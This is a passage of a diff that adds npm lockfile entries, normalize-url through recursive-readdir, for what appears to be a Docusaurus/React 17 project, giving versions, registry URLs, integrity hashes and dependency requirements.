"resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==" + } + } + }, + "postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "requires": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-reduce-idents": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-idents/-/postcss-reduce-idents-5.2.0.tgz", + "integrity": "sha512-BTrLjICoSB6gxbc58D5mdBK8OhXRDqud/zodYfdSi52qvDHdMwk+9kB9xsM8yJThH/sZU5A6QVSmMmaN001gIg==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-reduce-initial": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz", + "integrity": "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==", + "requires": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0" + } + }, + "postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "requires": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + } + }, + "postcss-sort-media-queries": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/postcss-sort-media-queries/-/postcss-sort-media-queries-4.4.1.tgz", + "integrity": "sha512-QDESFzDDGKgpiIh4GYXsSy6sek2yAwQx1JASl5AxBtU1Lq2JfKBljIPNdil989NcSKRQX1ToiaKphImtBuhXWw==", + "requires": { + "sort-css-media-queries": "2.1.0" + } + }, + "postcss-svgo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "requires": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + } + }, + "postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "requires": { + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==" + }, + "postcss-zindex": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-zindex/-/postcss-zindex-5.1.0.tgz", + "integrity": "sha512-fgFMf0OtVSBR1va1JNHYgMxYk73yhn/qb4uQDq1DLGYolz8gHCyr/sesEuGUaYs58E3ZJRcpoGuPVoB7Meiq9A==", + "requires": {} + }, + "preact": { + "version": "10.17.1", + "resolved": "https://registry.npmjs.org/preact/-/preact-10.17.1.tgz", + "integrity": "sha512-X9BODrvQ4Ekwv9GURm9AKAGaomqXmip7NQTZgY7gcNmr7XE83adOMJvd3N42id1tMFU7ojiynRsYnY6/BRFxLA==" + }, + "prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "devOptional": true + }, + "prepend-http": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", + "integrity": "sha512-ravE6m9Atw9Z/jjttRUZ+clIXogdghyZAuWJ3qEzjT+jI/dL1ifAqhZeC5VHzQp1MSt1+jxKkFNemj/iO7tVUA==" + }, + "prettier": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.0.2.tgz", + "integrity": "sha512-o2YR9qtniXvwEZlOKbveKfDQVyqxbEIWn48Z8m3ZJjBjcCmUy3xZGIv+7AkaeuaTr6yPXJjwv07ZWlsWbEy1rQ==", + "dev": true, + "peer": true + }, + "prettier-linter-helpers": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/prettier-linter-helpers/-/prettier-linter-helpers-1.0.0.tgz", + "integrity": "sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==", + "dev": true, + "requires": { + "fast-diff": "^1.1.2" + } + }, + "pretty-error": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "requires": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "pretty-time": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/pretty-time/-/pretty-time-1.1.0.tgz", + "integrity": "sha512-28iF6xPQrP8Oa6uxE6a1biz+lWeTOAPKggvjB8HAs6nVMKZwf5bG++632Dx614hIWgUPkgivRfG+a8uAXGTIbA==" + }, + "prism-react-renderer": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/prism-react-renderer/-/prism-react-renderer-1.3.5.tgz", + "integrity": "sha512-IJ+MSwBWKG+SM3b2SUfdrhC+gu01QkV2KmRQgREThBfSQRoufqRfxfHUxpG1WcaFjP+kojcFyO9Qqtpgt3qLCg==", + "requires": {} + }, + "prismjs": { + "version": "1.29.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.29.0.tgz", + "integrity": "sha512-Kx/1w86q/epKcmte75LNrEoT+lX8pBpavuAbvJWRXar7Hz8jrtF+e3vY751p0R8H9HdArwaCTNDDzHg/ScJK1Q==" + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "promise": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "requires": { + "asap": "~2.0.3" + } + }, + "prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "requires": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + } + }, + "prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "requires": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "property-information": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-5.6.0.tgz", + "integrity": "sha512-YUHSPk+A30YPv+0Qf8i9Mbfe/C0hdPXk1s1jPVToV8pk8BQtpw10ct89Eo7OWkutrwqvT0eicAxlOg3dOAu8JA==", + "requires": { + "xtend": "^4.0.0" + } + }, + "proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "requires": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "dependencies": { + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" + } + } + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "punycode": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", + "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==" + }, + "pupa": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.1.1.tgz", + "integrity": "sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==", + "requires": { + "escape-goat": "^2.0.0" + } + }, + "pure-color": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/pure-color/-/pure-color-1.3.0.tgz", + "integrity": "sha512-QFADYnsVoBMw1srW7OVKEYjG+MbIa49s54w1MA1EDY6r2r/sTcKKYqRX1f4GYvnXP7eN/Pe9HFcX+hwzmrXRHA==" + }, + "qs": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz", + "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==", + "requires": { + "side-channel": "^1.0.4" + } + }, + "queue": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/queue/-/queue-6.0.2.tgz", + "integrity": "sha512-iHZWu+q3IdFZFX36ro/lKBkSvfkztY5Y7HMiPlOUjhupPcG2JMfst2KKEpu5XndviX/3UhFbRngUPNKtgvtZiA==", + "requires": { + "inherits": "~2.0.3" + } + }, + "queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==" + }, + "randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "range-parser": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.0.tgz", + "integrity": "sha512-kA5WQoNVo4t9lNx2kQNFCxKeBl5IbbSNBl1M/tLkw9WCn+hxNBAW5Qh8gdhs63CJnhjJ2zQWFoqPJP2sK1AV5A==" + }, + "raw-body": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", + "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", + "requires": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "dependencies": { + "bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==" + } + } + }, + "rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "requires": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "dependencies": { + "strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==" + } + } + }, + "react": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react/-/react-17.0.2.tgz", + "integrity": "sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA==", + "requires": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "react-accessible-accordion": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/react-accessible-accordion/-/react-accessible-accordion-5.0.0.tgz", + "integrity": "sha512-MT2obYpTgLIIfPr9d7hEyvPB5rg8uJcHpgA83JSRlEUHvzH48+8HJPvzSs+nM+XprTugDgLfhozO5qyJpBvYRQ==", + "requires": {} + }, + "react-base16-styling": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.6.0.tgz", + "integrity": "sha512-yvh/7CArceR/jNATXOKDlvTnPKPmGZz7zsenQ3jUwLzHkNUR0CvY3yGYJbWJ/nnxsL8Sgmt5cO3/SILVuPO6TQ==", + "requires": { + "base16": "^1.0.0", + "lodash.curry": "^4.0.1", + "lodash.flow": "^3.3.0", + "pure-color": "^1.2.0" + } + }, + "react-dev-utils": { + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz", + "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==", + "requires": { + "@babel/code-frame": "^7.16.0", + "address": "^1.1.2", + "browserslist": "^4.18.1", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.3", + "detect-port-alt": "^1.1.6", + "escape-string-regexp": "^4.0.0", + "filesize": "^8.0.6", + "find-up": "^5.0.0", + "fork-ts-checker-webpack-plugin": "^6.5.0", + "global-modules": "^2.0.0", + "globby": "^11.0.4", + "gzip-size": "^6.0.0", + "immer": "^9.0.7", + "is-root": "^2.1.0", + "loader-utils": "^3.2.0", + "open": "^8.4.0", + "pkg-up": "^3.1.0", + "prompts": "^2.4.2", + "react-error-overlay": "^6.0.11", + "recursive-readdir": "^2.2.2", + "shell-quote": "^1.7.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "dependencies": { + "find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "requires": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + } + }, + "loader-utils": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.2.1.tgz", + "integrity": "sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw==" + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "requires": { + "p-locate": "^5.0.0" + } + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "requires": { + "yocto-queue": "^0.1.0" + } + }, + "p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "requires": { + "p-limit": "^3.0.2" + } + } + } + }, + "react-dom": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-17.0.2.tgz", + "integrity": "sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA==", + "requires": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "scheduler": "^0.20.2" + } + }, + "react-error-overlay": { + "version": "6.0.11", + "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.0.11.tgz", + "integrity": "sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg==" + }, + "react-fast-compare": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/react-fast-compare/-/react-fast-compare-3.2.2.tgz", + "integrity": "sha512-nsO+KSNgo1SbJqJEYRE9ERzo7YtYbou/OqjSQKxV7jcKox7+usiUVZOAC+XnDOABXggQTno0Y1CpVnuWEc1boQ==" + }, + "react-helmet-async": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/react-helmet-async/-/react-helmet-async-1.3.0.tgz", + "integrity": "sha512-9jZ57/dAn9t3q6hneQS0wukqC2ENOBgMNVEhb/ZG9ZSxUetzVIw4iAmEU38IaVg3QGYauQPhSeUTuIUtFglWpg==", + "requires": { + "@babel/runtime": "^7.12.5", + "invariant": "^2.2.4", + "prop-types": "^15.7.2", + "react-fast-compare": "^3.2.0", + "shallowequal": "^1.1.0" + } + }, + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "react-json-view": { + "version": "1.21.3", + "resolved": "https://registry.npmjs.org/react-json-view/-/react-json-view-1.21.3.tgz", + "integrity": "sha512-13p8IREj9/x/Ye4WI/JpjhoIwuzEgUAtgJZNBJckfzJt1qyh24BdTm6UQNGnyTq9dapQdrqvquZTo3dz1X6Cjw==", + "requires": { + "flux": "^4.0.1", + "react-base16-styling": "^0.6.0", + "react-lifecycles-compat": "^3.0.4", + "react-textarea-autosize": "^8.3.2" + } + }, + "react-lifecycles-compat": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", + "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" + }, + "react-live": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/react-live/-/react-live-2.2.3.tgz", + "integrity": "sha512-tpKruvfytNETuzO3o1mrQUj180GVrq35IE8F5gH1NJVPt4szYCx83/dOSCOyjgRhhc3gQvl0pQ3k/CjOjwJkKQ==", + "requires": { + "buble": "0.19.6", + "core-js": "^2.4.1", + "dom-iterator": "^1.0.0", + "prism-react-renderer": "^1.0.1", + "prop-types": "^15.5.8", + "react-simple-code-editor": "^0.10.0", + "unescape": "^1.0.1" + }, + "dependencies": { + "core-js": { + "version": "2.6.12", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", + "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==" + }, + "react": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", + "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", + "peer": true, + "requires": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2" + } + }, + "react-dom": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", + "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", + "peer": true, + "requires": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2", + "scheduler": "^0.19.1" + } + }, + "react-simple-code-editor": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/react-simple-code-editor/-/react-simple-code-editor-0.10.0.tgz", + "integrity": "sha512-bL5W5mAxSW6+cLwqqVWY47Silqgy2DKDTR4hDBrLrUqC5BXc29YVx17l2IZk5v36VcDEq1Bszu2oHm1qBwKqBA==", + "requires": {} + }, + "scheduler": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz", + "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==", + "peer": true, + "requires": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + } + } + } + }, + "react-loadable": { + "version": "npm:@docusaurus/react-loadable@5.5.2", + "resolved": "https://registry.npmjs.org/@docusaurus/react-loadable/-/react-loadable-5.5.2.tgz", + "integrity": "sha512-A3dYjdBGuy0IGT+wyLIGIKLRE+sAk1iNk0f1HjNDysO7u8lhL4N3VEm+FAubmJbAztn94F7MxBTPmnixbiyFdQ==", + "requires": { + "@types/react": "*", + "prop-types": "^15.6.2" + } + }, + "react-loadable-ssr-addon-v5-slorber": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/react-loadable-ssr-addon-v5-slorber/-/react-loadable-ssr-addon-v5-slorber-1.0.1.tgz", + "integrity": "sha512-lq3Lyw1lGku8zUEJPDxsNm1AfYHBrO9Y1+olAYwpUJ2IGFBskM0DMKok97A6LWUpHm+o7IvQBOWu9MLenp9Z+A==", + "requires": { + "@babel/runtime": "^7.10.3" + } + }, + "react-router": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.3.4.tgz", + "integrity": "sha512-Ys9K+ppnJah3QuaRiLxk+jDWOR1MekYQrlytiXxC1RyfbdsZkS5pvKAzCCr031xHixZwpnsYNT5xysdFHQaYsA==", + "requires": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "hoist-non-react-statics": "^3.1.0", + "loose-envify": "^1.3.1", + "path-to-regexp": "^1.7.0", + "prop-types": "^15.6.2", + "react-is": "^16.6.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + } + }, + "react-router-config": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/react-router-config/-/react-router-config-5.1.1.tgz", + "integrity": "sha512-DuanZjaD8mQp1ppHjgnnUnyOlqYXZVjnov/JzFhjLEwd3Z4dYjMSnqrEzzGThH47vpCOqPPwJM2FtthLeJ8Pbg==", + "requires": { + "@babel/runtime": "^7.1.2" + } + }, + "react-router-dom": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.3.4.tgz", + "integrity": "sha512-m4EqFMHv/Ih4kpcBCONHbkT68KoAeHN4p3lAGoNryfHi0dMy0kCzEZakiKRsvg5wHZ/JLrLW8o8KomWiz/qbYQ==", + "requires": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "loose-envify": "^1.3.1", + "prop-types": "^15.6.2", + "react-router": "5.3.4", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + } + }, + "react-textarea-autosize": { + "version": "8.5.2", + "resolved": "https://registry.npmjs.org/react-textarea-autosize/-/react-textarea-autosize-8.5.2.tgz", + "integrity": "sha512-uOkyjkEl0ByEK21eCJMHDGBAAd/BoFQBawYK5XItjAmCTeSbjxghd8qnt7nzsLYzidjnoObu6M26xts0YGKsGg==", + "requires": { + "@babel/runtime": "^7.20.13", + "use-composed-ref": "^1.3.0", + "use-latest": "^1.2.1" + } + }, + "readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "requires": { + "picomatch": "^2.2.1" + } + }, + "reading-time": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/reading-time/-/reading-time-1.5.0.tgz", + "integrity": "sha512-onYyVhBNr4CmAxFsKS7bz+uTLRakypIe4R+5A824vBSkQy/hB3fZepoVEf8OVAxzLvK+H/jm9TzpI3ETSm64Kg==" + }, + "rechoir": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", + "integrity": "sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==", + "requires": { + "resolve": "^1.1.6" + } + }, + "recursive-readdir": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.3.tgz", + "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==", + "requires": { + "minimatch": "^3.0.5" 